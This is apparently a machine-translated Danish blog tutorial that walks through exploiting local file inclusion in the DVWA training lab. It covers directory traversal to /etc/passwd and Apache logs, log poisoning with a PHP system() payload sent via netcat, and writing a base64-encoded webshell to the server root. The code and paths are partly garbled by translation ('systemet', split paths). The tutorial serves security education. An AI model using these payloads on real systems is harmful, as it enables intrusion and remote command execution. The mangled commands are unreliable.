Damn Sårbare Web App - Lokal File Inclusion (LFI)
Forfatter:
Ashfaq Ansari

Anmeldt af:
Rating:
5
On Marts 18, 2013
Sidst ændret:Marts 18, 2013

Resumé:

Local File Inclusion (LFI) er en form for sårbarhed oftest findes på hjemmesider. Det gør det muligt for en angriber at medtage en lokal fil, som regel gennem et script på webserveren. Sårbarheden opstår på grund af brugen af ​​leveret af brugeren input uden ordentlig validering.

Indledning

 

I den første del af Damn Sårbar Web App (DVWA) series, Vi har set, hvordan vi kan installere Damn Sårbar Web Application (DVWA)BackTrack 5 R1.
 


 

Nu, Vi vil teste en anden angrebsvektoren kendt som Local File Inclusion (LFI).
 

Local File Inclusion (LFI) er en form for sårbarhed oftest findes på hjemmesider. Det gør det muligt for en angriber at medtage en lokal fil, som regel gennem et script på webserveren.
 

Sårbarheden opstår på grund af brugen af ​​leveret af brugeren input uden ordentlig validering. Dette kan føre til noget så minimalt som udsender indholdet af filen, men afhængig af sværhedsgraden, at nævne et par det kan føre til:
 


1. Programkode på webserveren.
2. Kode på klientsiden, såsom JavaScript, der kan føre til andre angreb såsom Cross Site Scripting (XSS).
3. Denial of Service (DoS).
4. Datatyveri og Data Manipulation.

 

Nu, ideen bag Local File Inclusion (LFI) angrebsvektoren er, at, det muligt for en angriber at omfatte lokale filer på webserveren ved hjælp af sårbare webskripter hvis webserveren har tilladelse til at få adgang til det.
 

Du alle skal tænke “Hvad er en hel del i det?”.
 

Nå, Jeg må sige, at dette er et meget alvorligt problem hvis web-serveren ikke er konfigureret korrekt.
 

Lad os, mener, at en hacker er i stand til at medtage en lokal fil på webserveren via sårbare PHP script. Det betyder, at han vil være i stand til at udføre enhver PHP kode som er der i den fil, der bliver inkluderet.
 

Nu, nogle af jer skal tænke “Hvad nytter det at udføre PHP script ved at inkludere en lokal fil, når det ikke hjælpe en hacker at få adgang?”.
 

Apache HTTP Server indeholder en række forskellige mekanismer til at logge alt hvad der sker på webserveren, fra den oprindelige anmodning, gennem URL-mapping proces, til den endelige løsning af forbindelsen, herunder eventuelle fejl, der måtte have fundet sted i processen.
 

Her er et uddrag af den sikkerhedsadvarsel fundet på Apache HTTP Server dokumentation side.
 

Link: http://httpd.apache.org/docs/2.4/logs.html
 

Sikkerhedsadvarsel: Enhver, der kan skrive til den mappe, hvor Apache httpd skriver en logfil kan næsten helt sikkert få adgang til uid at serveren er startet som, som normalt root. Må ikke give folk skrive adgang til mappen logfilerne gemmes i uden at være klar over konsekvenserne. se den sikkerhed tips dokumentet for detaljer. Derudover, Logfilerne kan indeholde oplysninger leveres direkte af klienten, uden undslippe. Derfor, er det muligt for ondsindede klienter at indsætte kontrol-karakterer i logfilerne, så skal man være omhyggelig i forbindelse med rå logfiler.

 

Til din information, i BackTrack 5 R1, Den Apache HTTP Server logbog Filen er placeret på:
 

/var/log/apache2/access.log

/var/log/apache2/error.log


 

Damn Sårbar Web Application - Local File Inclusion (LFI) Logfilsti
 

Du har allerede læst ovenstående sikkerhedsadvarsel om logmappen tilladelser. Hvis angriberen er succes med at finde logfilen stien hjælp Mappegennemløb angreb, han kan forgifte disse log ved at skrive skadelig kode i logfilerne, hvis “log” bibliotek og filrettigheder er ikke konfigureret korrekt.
 

Vi vil se, hvordan vi kan gift Den logfiler i den senere del af dette indlæg.
 

Bevæbnet med grundlæggende oplysninger om Local File Inclusion (LFI), lad os gå videre og opleve det i det praktiske session.
 

Bemærk: I BackTrack 5 R1, Den “access.log” filens Adgang Tilladelse til “Andre” er indstillet til “Forbudt”.

 

Damn Sårbar Web Application - Local File Inclusion (LFI) Logfil Tilladelse
 

Nu, lad os give “Kan læse” Adgang Tilladelse til “Andre”.
 

Damn Sårbar Web Application - Local File Inclusion (LFI) Læs logfil Tilladelse
 

Vi sætter “Kan læse” tilladelse, så vi er i stand til at demonstrere Local File Inclusion (LFI) angrebsvektoren hjælp Damn Sårbar Web Application (DVWA).
 

Få Set og gå.

 

Lad os login til Damn Sårbar Web Application (DVWA) og sæt Sikkerhed niveau lav.
 

Damn Sårbar Web Application - Local File Inclusion (LFI) Sikkerhed til lav
 

Klik på File Inclusion.
 

Damn Sårbar Web Application - Local File Inclusion (LFI) File Inclusion Tab
 

http://192.168.96.128/dvwa / Sårbarheder / på /?page = include.php

 

For at inkludere en fil redigere ?page = index.php i webadressen at afgøre, hvilken fil er inkluderet.
 

Lad os bekræfte, om ovenstående URL er virkelig sårbar over for Local File Inclusion.
 

Vi vil gøre Mappegennemløb og forsøge at medtage /etc / passwd fil. Hvis dette inklusion er lykkedes, vi vil finde indholdet af /etc / passwd displayed on the web page.
 

http://192.168.96.128/dvwa / Sårbarheder / på /?page=../../../../../etc/passwd

 

Damn Sårbar Web Application - Local File Inclusion (LFI) /etc/passwd Inclusion
 

That looks good! We were able to include /etc / passwd file in the Damn Sårbar Web Application (DVWA) successfully as the web page has displayed the full content of the /etc / passwd fil.
 

Our next task is to try to include Apache’s log file. Igen, vi vil bruge Mappegennemløb og forsøge at medtage /var/log/apache2/access.log fil.
 

Damn Sårbar Web Application - Local File Inclusion (LFI) Access Log Inclusion
 

http://192.168.96.128/dvwa / Sårbarheder / på /?page=../../../../log/apache2/access.log

 

Wow! This is a good day for us. Things are working out in a good way. Apache Web Server’s access.log file is included successfully. It’s a great indication that now, kan vi hovedet mod og forsøge at Poison Den Apaches fejllog.
 

Bemærk: Som jeg har brugt denne BackTrack 5 R1 da et år. Jeg vil rydde ud i access.log og error.log så jeg er i stand til at vise dig den forgiftede del af logfiler let.    

Damn Sårbar Web Application - Local File Inclusion (LFI) Ryd Logs

Vi er klar til gift Den access.log fil. Dette er et vigtigt skridt, da dette vil hjælpe angriberen at medtage access.log fil og udføre forgiftet PHP kode der vil blive skrevet til access.log fil i dette trin. Forgiftningen kan bekræftes ved at kontrollere indholdet af error.log fil.
 

Åbn en Terminal og oprette forbindelse til Apache Web Server på port 80 hjælp netcat.
 

1
2
3
root @ bt:~ # nc 192.168.96.128 80

GET /hazStart<?php-system(base64_decode($_GET[a]));?>HTTP hazEnd/1.1

 

Damn Sårbar Web Application - Local File Inclusion (LFI) Poison Logs
 

Nu, lader bekræfte, om forgiftning var en succes. Til dette, vi vil åbne både access.log og error.log fil og forsøge at forstå det er indgange.
 

Damn Sårbar Web Application - Local File Inclusion (LFI) Poison Logs
 

Damn Sårbar Web Application - Local File Inclusion (LFI) Poison Logs
 

Cool! Vi har log forgiftede filer. Hver ting har fungeret som forventet.
 

Bemærk: Vi har allerede skrevet en mini PHP shell i access.log logfil. Nu er vores næste motiv er at skrive en anden mini PHP shell i roden af ​​web-server hosting Damn Sårbar Web Application (DVWA).

 

Her er den kommando, der vil skrive en mini PHP shell på webserveren.
 

1
echo "<?php-system(base64_decode($_GET['P'])); ?>" > ../../webshell.php

 

Hvis du husker mini PHP shell script, vi indsprøjtet access.log fil, shell script-kode er angivet nedenfor:
 

1
<?php systemet(base64_decode($_GET['A'])); ?>

 

Kan du gætte det næste skridt, at vi skal gøre efter at have kigget shell script-kode?
 

Nå, nu vil vi indkode kommandoen til at skrive mini PHP shell script til webserver root hjælp base64-kodning algoritme.
 

Her er et simpelt python program til Base64 indkode en streng:
 

1
2
3
4
5
#!/usr / bin / python

base64encodedstr = """echo "<?php-system(base64_decode($_GET['P'])); ?>" > ../../webshell.php"""

print "\nEncoded String: " + base64encodedstr.encode('base64','strict') + "\n"

 

Damn Sårbar Web Application - Local File Inclusion (LFI) Base64 Encode
 

Den base64 encoded string is given below:
 

1
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

This is going to be the last step before we are welcomed with a shell. 🙂
 

We will navigate to the URL given below to write the mini PHP shell script til web server root.

http://192.168.96.128/dvwa / Sårbarheder / på /?page=../../../../log/apache2/access.log?a=ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

Damn Sårbar Web Application - Local File Inclusion (LFI) PHP Web Shell
 

Endelig!! Vi har gjort det med succes. Vi har uploadet en mini PHP shell ved hjælp af en Local File Inclusion Sårbarhed i Damn Sårbar Web Application (DVWA).
 

Jeg elsker automation, og det er grunden til at jeg elsker python. Python giver dig fremragende magt til at udrette komplekse ting meget enkelt.
 

Jeg har skrevet en python script, skrev vi at automatisere udnyttelsen af Local File Inclusion (LFI) i Damn Sårbar Web Application (DVWA).
 

Damn Sårbar Web Application - Local File Inclusion (LFI) Exploit Script
 

Som længden af ​​exploit script er meget stor, Jeg har zippet alle scripts, der anvendes i dette indlæg, og er tilgængelig for download.
 

Hent Damn Sårbar Web Application – Local File Inclusion (LFI) bogføre materialer:
 

DVWA - LFI Exploit Scripts
3.9 KIB
644 Downloads
Detaljer ...

 

Tak fordi du tog dig tid til at læse dette indlæg. Jeg håber dette hjælper dig. Du er velkommen til at forlade tilbage kommentarer, hvis du er i tvivl, eller hvis du ønsker at diskutere noget om Local File Inclusion (LFI).
 

46,420 samlede antal visninger, 31 visninger i dag

De følgende to faner ændre indhold under.

Ashfaq Ansari

Sikkerhed Forsker
Ashfaq Ansari er grundlægger af HackSys Team opkaldt kode "Panthera". Han er en sikkerhed forsker med erfaring i forskellige aspekter af Information Security. Han har forfattet "HackSys Extreme Sårbar driver" og "Shellcode of Death". Han har også skrevet og udgivet forskellige hvidbøger om software udnyttelse lavt niveau. Hans centrale interesse ligger i "Low Level Udnyttelse", "Reverse Engineering", "Program Analysis" og "Hybrid fnugdannelse". Han er en fanboy af kunstig intelligens og Machine Learning. Han er kapitlet føringen null Pune.

Seneste indlæg af Ashfaq Ansari (se alle)

2 Svar til “Damn Sårbare Web App - Lokal File Inclusion (LFI)”

  1. Would it be possible to show the attack without the read permission on the access.log. In other words leaving the permission set to forbidden? Since most servers may have this set in the first place. would be greatly appreciated.

    • Hej KC,

      Desværre, the log file needs to have read permissionaccess.log.

      Unless, we are able to read the file, we won’t be able to carry out the attack.

      Men, you may try different attack vectors.

      Thanks.

Efterlad et svar

Din e-mail adresse vil ikke blive offentliggjort. Krævede felter er markeret *